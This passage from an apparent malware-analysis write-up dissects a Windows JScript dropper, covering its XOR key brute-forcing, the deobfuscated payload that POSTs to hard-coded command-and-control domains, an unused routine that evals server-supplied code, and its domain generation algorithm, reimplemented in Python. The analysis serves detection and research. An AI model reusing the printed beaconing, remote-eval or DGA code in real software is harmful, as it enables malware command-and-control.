. The generated keys are used to XOR-decrypt the short javascript1_cipher
. If the resulting code can be run without throwing an exception, then the second, much longer, javascript in javascript2_cipher
is decrypted with the key in variable hbtmutmvp
and also run:
// brute force the key
key_space_size = 1691;
while (key_space_size > tested_keys.s_length) {
key_suffix = get_rand_base27str(Math);
if (!element_in_list(key_suffix, tested_keys)) {
try {
call_function(xor_decrypt(key_prefix + key_suffix, javascript1_cipher));
// the variable *hbtmutmvp* is set by the previous line (javascript1)
call_function(xor_decrypt(hbtmutmvp, javascript2_cipher));
key_space_size = 0;
} catch (e) {}
key_suffixs.push(key_suffix);
}
}
The author of the JavaScript wasn’t very creative in choosing the correct key suffix — it is “0”. Concatenated with the suffix 2j6ncrals13 gives the correct key 2j6ncrals130. The resulting plaintext of the javascript1_cipher
(after discarding the last two characters and running it through JS Beautifier) is:
try {
g = document
} catch (l) {
try {
x = WScript;
hbtmutmvp = "2C&ed!tl"
} catch (h) {}
}
This code does two things:
- It checks if Microsoft’s WScript is available. On platforms other than Windows, this will throw an exception.
- It sets the key variable
hbtmutmvp
for the payload decryption. The key is 2C&ed!tl.
Decrypting the payload with key “2C&ed!tl” leads to this payload, which will be tackled in the next section.
Payload
The raw payload is hardly obfuscated. After renaming the variables and reformatting, we get this code. The following is a rundown of the routines.
Starting Point
The following snippet show the code at the entry point:
activex_object = new ActiveXObject("Scripting.FileSystemObject");
temp_file = activex_object.getSpecialFolder(2) + "\\" + (1 + Math.random() * 65536 | 0).toString(16).substring(1);
fh = activex_object.OpenTextFile(temp_file, 2, 1);
fh.Write("acoin.dll");
fh.Close();
hardcoded_domains = [];
hardcoded_domains.push("jarvis.co");
hardcoded_domains.push("vvoxox.eu");
hardcoded_domains.push("133754.cc");
key = "zwiwzju3zdmxnjc2ngrhnmjim2";
ua = "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0)";
h_eval = eval;
tlds = [];
tlds.push("cc");
tlds.push("co");
tlds.push("eu");
make_post("a", "")
It performs the following steps:
- Create an ActiveXObject of type “FileSystemObject” to get access to the Windows filesystem.
- Get the temporary path on Windows, e.g.,
C:\Users\victim\AppData\Local\Temp
and create a random filename string between “1” and “FFF” to get a file path, e.g.,C:\Users\victim\AppData\Local\Temp\2df
. Write “acoin.dll” to the file and close it. - Prepare a list of hard-coded domains (“jarvis.co”, “vvoxox.eu”, and “133754.cc”). Prepare an key string (“zwiwzju3zdmxnjc2ngrhnmjim2”) and user-agent (“Mozilla/4.0 (Windows); MSIE 6.0; Windows NT 5.0”). Also prepare a list of hard-coded top level domains for the domain generation algorithm (“cc”, “co”, and “eu”).
- Finally call
make_post
.
HTTP POST Requests
The make_post
function POSTs provided content to a given domain and path:
make_post = function(path, content, domain) {
if (typeof domain == "undefined") {
domain = get_domain();
if (!domain)
return 0;
}
content = get_content("");
try {
activex_downloader = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
activex_downloader.open("POST", "http://" + domain + "/" + path + "/");
activex_downloader.setRequestHeader("Pragma", "no-cache");
activex_downloader.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
activex_downloader.setRequestHeader("User-Agent", ua);
activex_downloader.setRequestHeader("Content-Length", 0);
activex_downloader.setRequestHeader("Connection", "close");
activex_downloader.send(content);
} catch (e) {};
return 0;
};
It takes three parameters: the domain
, the path
and the content
. If the domain
argument is missing (as for the call from the entry point), a domain is generated with get_domain
(see next section). The content
parameter is never used, the function calls get_content
to get the content to be sent.
The routine then makes a HTTP POST request to the url http://<domain>/<path>/
. The User-Agent is “Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0)” as set by the entry point. The content of the POST is variable content
. According to the Content-Type
-header, it is of type x-www-form-urlencoded
, i.e., name-value-pairs.
Domains
The get_domains
function retrieves a working domain:
get_domain = function() {
shuffled_hardcoded_domains = shuffle_list(hardcoded_domains);
for (var i = 0; i < shuffled_hardcoded_domains.length; i++) {
post_result = make_post("a", "", shuffled_hardcoded_domains[i]);
if (post_result) {
j13 = 36e5 + (new Date).getTime();
n13 = 1;
i13 = shuffled_hardcoded_domains[i];
return shuffled_hardcoded_domains[i];
}
}
dga_domains = the_dga();
for (var i = 0; i < 10; i++) {
m13 = make_post("a", "", dga_domains[i]);
if (m13) {
j13 = (new Date).getTime() + 36e5;
i13 = shuffled_hardcoded_domains[i];
n13 = 1;
return dga_domains[i];
}
}
n13 = 0;
return 0
};
The function first uses the following routine shuffle_list
to get a random permutation of the hardcoded domains ([“jarvis.co”, “vvoxox.eu”, and “133754.cc”):
shuffle_list = function(list) {
for (var r, tmp, l = list.length; l; r = parseInt(Math.random() * l),
tmp = list[--l],
list[l] = list[r],
list[r] = tmp);
return list;
};
It then tries to contact the permuted hard-coded domains one after another until successful. If none of the domains work, then the domain generation algorithm the_dga
is called and the POSTs are repeated for those domains. The domain generation function the_dga
is discussed in section The DGA.
Encryption and Encoding of Content
The following function gets the content to be sent in the POST requests:
get_content = function(input) {
return escape(b64encode(rc4(key, input)));
};
The hardcoded key
(“zwiwzju3zdmxnjc2ngrhnmjim2”) along with the input (set to "" by the make_post
caller) are first passed to rc4
. As the name suggests, this routine RC4-encrypts the passed plaintext with the provided key:
rc4 = function(key, plaintext) {
S = [];
for (var i = 0; i < 256; i++)
S[i] = i;
var j = 0;
for (var i = 0; i < 256; i++) {
j = (j + S[i] + key.charCodeAt(i % key.length)) % 256;
tmp = S[i];
S[i] = S[j];
S[j] = tmp;
}
n5 = 0;
var j = 0;
ciphertext = "";
for (var i = 0; i < plaintext.length; i++) {
var k = (k + 1) % 256;
j = (j + S[k]) % 256;
tmp = S[k];
S[k] = S[j];
S[j] = tmp;
ciphertext += String.fromCharCode(plaintext.charCodeAt(i) ^ S[(S[k] + S[j]) % 256]);
}
return ciphertext;
};
The resulting binary ciphertext is then base64 encoded with the following routine
b64encode = function(inp) {
w2 = 0;
if (!inp)
return inp;
enc_array = [];
var i = 0;
inp += "";
do {
c1 = inp.charCodeAt(i++);
c2 = inp.charCodeAt(i++);
c3 = inp.charCodeAt(i++);
c = c1 << 16 | c2 << 8 | c3;
b1 = c >> 18 & 63;
b2 = c >> 12 & 63;
b3 = c >> 6 & 63;
b4 = c & 63;
enc_array[w2++] = b64chars.charAt(b1) + b64chars.charAt(b2) +
b64chars.charAt(b3) + b64chars.charAt(b4);
} while (i < inp.length);
b64string = enc_array.join("");
i3 = inp.length % 3;
// padding
(i3 ? b64string.slice(0, i3 - 3) : b64string) + "===".slice(i3 || 3);
return b64string
};
The variable b64chars
is missing in the JavaScript, indicating that the script might still be in development. Because no content is used in the HTTP POST call, there is no need to base64 encode anyways. After base64 encoding, the result is also unnecessarily escaped.
Unused Function
Finally, there is an unused function in the JavaScript:
unused = function() {
u10 = 0;
try {
random_hex_string = (1 + Math.random() * 65536 | 0).toString(16).substring(1);
post_response = eval((make_post("k", "")));
if (random_hex_string == post_response["n"])
for (i = 0; i < post_response[k].length; i++) {
if (post_response["k"][i]["a"] == "acoin") {
h_eval(post_response["k"][i]["c"]);
}
}
} catch (e) {
debug("1:" + e);
}
};
This routine makes POSTs to the “/k/” path and expects the response to be a randomly generated hex string. The author probably meant to sent the RC4 encrypted random string with the POST to detect sinkholes. If the response field “n” matches the random string, then those responses tagged with “acoin” would be executed.
The DGA
This section finally shows the DGA used by the script.
As Implemented in JavaScript
The domain generation algorithm is implemented as follows:
the_dga = function() {
dga_domains = [];
current_date = new Date;
for (var i = 0; i < 10; i++)
for (var j = 0; j < tlds.length; j++) {
seed = ["OK",
current_date.getUTCMonth() + 1,
current_date.getUTCDate(),
current_date.getUTCFullYear(),
tlds[j]
].join(".");
r = Math.abs(prng(seed)) + i;
domain = "";
for (var k = 0; k < r % 7 + 6; k++) {
r = Math.abs(prng(domain + r));
domain += String.fromCharCode(r % 26 + 97);
}
dga_domains.push(domain + "." + tlds[j]);
}
return shuffle_list(dga_domains);
};
The algorithm is seeded with the current month, year, day and top level domain, as well as hard-coded string (“OK” in my sample). The latter allows the DGA to generate different domain sets.
The function combines those four variables into a seed string OK.<month>.<day>.<year>.<tld>
, e.g., “OK.11.26.2015.eu”. This seed is passed to the prng
. The PRNG is a reimplementation of the java.lang.String.hashCode()
routine found in Java. It turns the ASCII codes of the seed string into an integer:
prng = function(string) {
string += "";
result = 0;
for (i = 0; i < string.length; i++) {
result = (result << 5) - result + string.charCodeAt(i);
result &= result;
}
return result;
};
The DGA uses this PRNG to randomly pick lower case letters for the second level domain. It generates 10 different domains for each top level domain, and randomly permutes them.
Reimplementation in Python
Translating the JavaScript has two fallacies:
- The maximum integer size is 251 - 1, but for bitwise operations it is only 231 -1. The overflows inside
prng
are therefore only happening for the<<
and&
operators. - The condition of the for-loop, (
k < r % 7 + 6
) is evaluated after every loop. The lengths of the domains are therefore not uniformly distributed between 6 and 12, but heavily biased towards domains of length 8: 12.4% have length 6, 22.1% have length 7, 24.9% have length 8, 20.3% have length 9, 12.8% have length 10, 5.7% have length 11, and only 1.7% have length 12,
Here is the reimplementation in Python:
from datetime import datetime
import argparse
from ctypes import c_int
def prng(seed_string):
result = c_int()
for c in seed_string:
a = result.value
result.value = (result.value << 5)
tmp = result.value - a
result.value = tmp + ord(c)
result.value &= result.value
return result.value
def dga(seed, d):
tlds = ["cc", "co", "eu"]
dga_domains = []
for i in range(10):
for j, tld in enumerate(tlds):
ss = ".".join([str(s) for s in [seed, d.month, d.day, d.year, tld]])
r = abs(prng(ss)) + i
domain = ""
k = 0
while k < (r % 7 + 6):
r = abs(prng(domain + str(r)))
domain += chr(r % 26 + ord('a'))
k += 1
dga_domains.append("{}.{}".format(domain, tld))
return dga_domains
if __name__=="__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--seed", help="seed", default="OK")
parser.add_argument("-d", "--date", help="date for which to generate domains")
args = parser.parse_args()
d = datetime.strptime(args.date, "%Y-%m-%d") if args.date else datetime.now()
for domain in dga(args.seed, d):
print(domain)
You also find the DGA in my Domain Generation Algorithm GitHub Repository.
Characteristics
The characteristics of the DGA are as follows:
- seed
- magic string and current date
- granularity
- 1 day |
- domains per seed and day
- 10 per top level domain
- sequence
- randomized
- wait time between domains
- none
- top level domains
- .cc, .co, .eu
- second level characters
- lower case a-z
- second level domain length
- 6 to 12, non-uniform, biased around 8